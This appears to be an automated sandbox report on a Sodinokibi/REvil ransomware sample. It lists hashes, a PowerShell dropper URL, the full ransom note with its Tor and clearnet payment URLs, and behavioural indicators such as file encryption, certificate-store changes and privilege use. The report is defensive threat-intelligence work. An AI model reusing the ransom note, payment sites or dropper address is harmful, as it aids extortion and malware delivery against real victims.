sodinokibi | 45d08574bc59eed48570614a1f267ba73ba94011c6fd8dfe3591c01580533b70

General

Target

25cf7ba78d389fb326f0e98895989410.bat
Size

216B
MD5

ca96a50f1dbb7a4a0bbd3889984eae09
SHA1

fae38c86303f6ac8771260e09be944dc5b07c90e
SHA256

45d08574bc59eed48570614a1f267ba73ba94011c6fd8dfe3591c01580533b70
SHA512

dfcce14a5f3e8d81a55f38862c78395146a64201184a2a1bed5db0128559ade834e3343c4526808894bbac71954884e18ba00c7d2b0c2bc49f96a68208227550

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/25cf7ba78d389fb326f0e98895989410

Extracted

Path

C:\optofz3-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension optofz3. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3A1D3A401EC07D7A 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/3A1D3A401EC07D7A Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 4Tcm4gPn/XIm+Jw/Cq+ao64AO3MbZ08JdWffOIYs7t5SiWMT5Rv4McZpkZFHB+fw NKSA8SCnLMo9EzOj3WWl4oo8RwVszjWA80siwYnUUZKedTQ6fmX4pJsrJvuQGcO9 zFBrL+atcmBPwWyaADduYkGMvVLhf0/mVG3A3AyEvswG8xz9+S9GCQnvgIPejJ6x VCzd3bTrUdQiv5M8gSfEg9zt8ESO7x8VDkJe4ob5IQSKHiwA/inpSJ+UL9EBLEGx nv8tYyx3Z8wi+0kvmZzvlTu38aCRc8nzw5sCROw7MqXSuOtqOF/7+4vMh9djgwYc nxYiA5w5u/uBkAWWcfBpZM4m1W6LArb/sFvTBdR0TkixZBZRzNlqggdBgP01b/TQ dZ6GCdr/hEUqILYf4qJvRE5UtioO6dctdnPIiiDX7LlR7bhh30F/s5iNONIWvXJ+ jXBRCGj5jhBqdJxtkMS7U/ZZy9Dicgw2hIxEFR3B8jdfAjKz6zrfZFHGyu4X52jq B6GsJwiNBXUygd6Pf2yUY9OFxloq+5yamB9zWXgaXMQPviAANZQO+6yvMGBPoOqn wHvwyw9U8qZG1WAgw7l28vByCm2+g6CYN0hsa/4uX+8jp7gLx94OcoB+5eC53yzH Wb1xPP+P8XTByLb0nhbXxTSbN/JrLUCOLI+1IviuamzTND5beHOBSoVR+DeEt9RQ bM9ghlQQHLeKCGRS/gVUciUGzSfAU+ii6r+kHjtInT+lMKCIrGocMJWqjNyEbWNt HUNviu7IdAY6T2y7A3fgB0iHDmgJST/AkSqxOEIVau1SDlgiAa72vskL6bBPqxvK sDFIV49JtMjiDkHfmwb4zu1s7pEb8TSvC4U4OOvhuIZkl/XMe3wTo7vluUjg1byw oAyGZHoQ4JfkUcoh89yTPFjLtNHweXa0jNr61V3T2ekWdDNctK607o9OFSu7il4Z SiDCdOZvQPNWdkn0euUYw15260UCLhOGn8Lj0rn9CaXJBMsbevH5vedG95EOADwD KqZurpaIvpoR2S7kz5BSnpXfZUuJOnaE7HUNiMrEC+n3UxUzAt7tZ6hHPTrUQ7Ap 9kxoEHWLlvsLMnLw+tjo4LF98jatiPrGaOx2CsQavtRzkvuYBX3v1HmWio/ngAF/ 4t++jFAr8mB/UdwdfI8Fd2GC8EjgfOVzLZbBAuZ+0+8ZQWsPhgE9rkIrss3f3Ez2 bh1761L2Y8T8PWrpPimSGJJDRJ26Wl7ndVA2JZH0zocFLErfxHSs9Rhhz87hDBN7 30sADYmQU7xnPuP4DSN+anU3J6t8DCiNmPPDA/t2iS2DSg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3A1D3A401EC07D7A

http://decryptor.cc/3A1D3A401EC07D7A

Signatures

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 900 wrote to memory of 300	900	cmd.exe	powershell.exe
PID 900 wrote to memory of 300	900	cmd.exe	powershell.exe
PID 900 wrote to memory of 300	900	cmd.exe	powershell.exe
PID 900 wrote to memory of 300	900	cmd.exe	powershell.exe
PID 300 wrote to memory of 1876	300	powershell.exe	powershell.exe
PID 300 wrote to memory of 1876	300	powershell.exe	powershell.exe
PID 300 wrote to memory of 1876	300	powershell.exe	powershell.exe
PID 300 wrote to memory of 1876	300	powershell.exe	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

300 powershell.exe

pid	process
300	powershell.exe

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\users\admin\pictures\CloseRequest.tiff	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\InstallRegister.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\CloseRequest.tiff => \??\c:\users\admin\pictures\CloseRequest.tiff.optofz3	powershell.exe
File renamed	C:\Users\Admin\Pictures\GroupInvoke.crw => \??\c:\users\admin\pictures\GroupInvoke.crw.optofz3	powershell.exe
File renamed	C:\Users\Admin\Pictures\InstallRegister.tiff => \??\c:\users\admin\pictures\InstallRegister.tiff.optofz3	powershell.exe
File renamed	C:\Users\Admin\Pictures\SplitUnlock.tif => \??\c:\users\admin\pictures\SplitUnlock.tif.optofz3	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\u17wkts36.bmp"	powershell.exe

Modifies system certificate store 2 TTPs 10 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\SystemCertificates\CA\Certificates\D89E3BD43D5D909B47A18977AA9D5CE36CEE184C	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\SystemCertificates\CA\Certificates\D89E3BD43D5D909B47A18977AA9D5CE36CEE184C\Blob = 030000000100000014000000d89e3bd43d5d909b47a18977aa9d5ce36cee184c190000000100000010000000ea6089055218053dd01e37e1d806eedf040000000100000010000000285ec909c4ab0d2d57f5086b225799aa0f000000010000003000000013baa039635f1c5292a8c2f36aae7e1d25c025202e9092f5b0f53f5f752dfa9c71b3d1b8d9a6358fcee6ec75622fabf91400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1800000001000000100000002aa1c05e2ae606f198c2c5e937c97aa22000000001000000850500003082058130820469a00302010202103972443af922b751d7d36c10dd313595300d06092a864886f70d01010c0500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3139303331323030303030305a170d3238313233313233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a381f23081ef301f0603551d23041830168014a0110a233e96f107ece2af29ef82a57fd030a4b4301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff30110603551d20040a300830060604551d200030430603551d1f043c303a3038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e636f6d6f646f63612e636f6d300d06092a864886f70d01010c05000382010100188751dc74213d9c8ae027b733d02eccecf0e6cb5e11de226f9b758e9e72fee4d6feaa1f9c962def034a7eaef48d6f723c433bc03febb8df5caaa9c6aef2fcd8eea37b43f686367c14e0cdf4f73ffedeb8b48af09196fefd43647efdccd201a17d7df81919c9422b13bf588bbaa4a266047688914e0c8914cea24dc932b3bae8141abc71f15bf0410b98000a220310e50cb1f9cd923719ed3bf1e43ab6f945132675afbbaaef3f7b773bd2c402913d1900d3175c39db3f7b180d45cd9385962f5ddf59164f3f51bdd545183fed4a8ee80661742316b50d50732744477f105d892a6b853114c4e8a96a4c80bc6a78cfb87f8e7672990c9dfed7910816a1a35f95	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000002000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Drops file in Program Files directory 32 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\RequestPublish.cr2	powershell.exe
File opened for modification	\??\c:\program files\SkipResolve.ini	powershell.exe
File opened for modification	\??\c:\program files\DenyRemove.wax	powershell.exe
File opened for modification	\??\c:\program files\GetInitialize.xlsx	powershell.exe
File opened for modification	\??\c:\program files\InitializeRestore.ppsm	powershell.exe
File opened for modification	\??\c:\program files\LockUpdate.tiff	powershell.exe
File opened for modification	\??\c:\program files\ShowUnpublish.jpeg	powershell.exe
File created	\??\c:\program files (x86)\optofz3-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ClearResume.xlsb	powershell.exe
File opened for modification	\??\c:\program files\ConnectJoin.txt	powershell.exe
File opened for modification	\??\c:\program files\JoinRestart.tiff	powershell.exe
File opened for modification	\??\c:\program files\ResizeUndo.mpg	powershell.exe
File opened for modification	\??\c:\program files\ResumeRename.xlsb	powershell.exe
File opened for modification	\??\c:\program files\UninstallOptimize.mp2v	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\optofz3-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\JoinUse.mpeg	powershell.exe
File opened for modification	\??\c:\program files\SyncClear.xlt	powershell.exe
File created	\??\c:\program files\optofz3-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DisconnectDismount.wav	powershell.exe
File opened for modification	\??\c:\program files\ImportWrite.gif	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\optofz3-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RedoDeny.xhtml	powershell.exe
File opened for modification	\??\c:\program files\UndoEdit.aif	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\optofz3-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CompareUnprotect.tiff	powershell.exe
File opened for modification	\??\c:\program files\OutPop.wav	powershell.exe
File opened for modification	\??\c:\program files\SetDeny.pptx	powershell.exe
File opened for modification	\??\c:\program files\CompressGrant.wmf	powershell.exe
File opened for modification	\??\c:\program files\ExitGet.m4a	powershell.exe
File opened for modification	\??\c:\program files\OptimizeRestore.zip	powershell.exe
File opened for modification	\??\c:\program files\UndoDismount.bmp	powershell.exe
File opened for modification	\??\c:\program files\UseCompress.ini	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	300	powershell.exe
Token: SeDebugPrivilege	300	powershell.exe
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeBackupPrivilege	1620	vssvc.exe
Token: SeRestorePrivilege	1620	vssvc.exe
Token: SeAuditPrivilege	1620	vssvc.exe
Token: SeTakeOwnershipPrivilege	300	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

300 powershell.exe
300 powershell.exe
300 powershell.exe
1876 powershell.exe
1876 powershell.exe

pid	process
300	powershell.exe
300	powershell.exe
300	powershell.exe
1876	powershell.exe
1876	powershell.exe

Blacklisted process makes network request 113 IoCs

Processes:

powershell.exe

flow	pid	process
4	300	powershell.exe
10	300	powershell.exe
11	300	powershell.exe
13	300	powershell.exe
16	300	powershell.exe
18	300	powershell.exe
20	300	powershell.exe
21	300	powershell.exe
23	300	powershell.exe
26	300	powershell.exe
28	300	powershell.exe
30	300	powershell.exe
32	300	powershell.exe
33	300	powershell.exe
35	300	powershell.exe
36	300	powershell.exe
38	300	powershell.exe
40	300	powershell.exe
42	300	powershell.exe
44	300	powershell.exe
46	300	powershell.exe
48	300	powershell.exe
50	300	powershell.exe
51	300	powershell.exe
53	300	powershell.exe
55	300	powershell.exe
57	300	powershell.exe
59	300	powershell.exe
61	300	powershell.exe
62	300	powershell.exe
64	300	powershell.exe
66	300	powershell.exe
68	300	powershell.exe
69	300	powershell.exe
71	300	powershell.exe
72	300	powershell.exe
77	300	powershell.exe
79	300	powershell.exe
81	300	powershell.exe
83	300	powershell.exe
85	300	powershell.exe
87	300	powershell.exe
89	300	powershell.exe
90	300	powershell.exe
92	300	powershell.exe
94	300	powershell.exe
96	300	powershell.exe
98	300	powershell.exe
100	300	powershell.exe
102	300	powershell.exe
103	300	powershell.exe
105	300	powershell.exe
106	300	powershell.exe
108	300	powershell.exe
110	300	powershell.exe
112	300	powershell.exe
114	300	powershell.exe
116	300	powershell.exe
118	300	powershell.exe
120	300	powershell.exe
122	300	powershell.exe
124	300	powershell.exe
125	300	powershell.exe
127	300	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\25cf7ba78d389fb326f0e98895989410.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:900

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
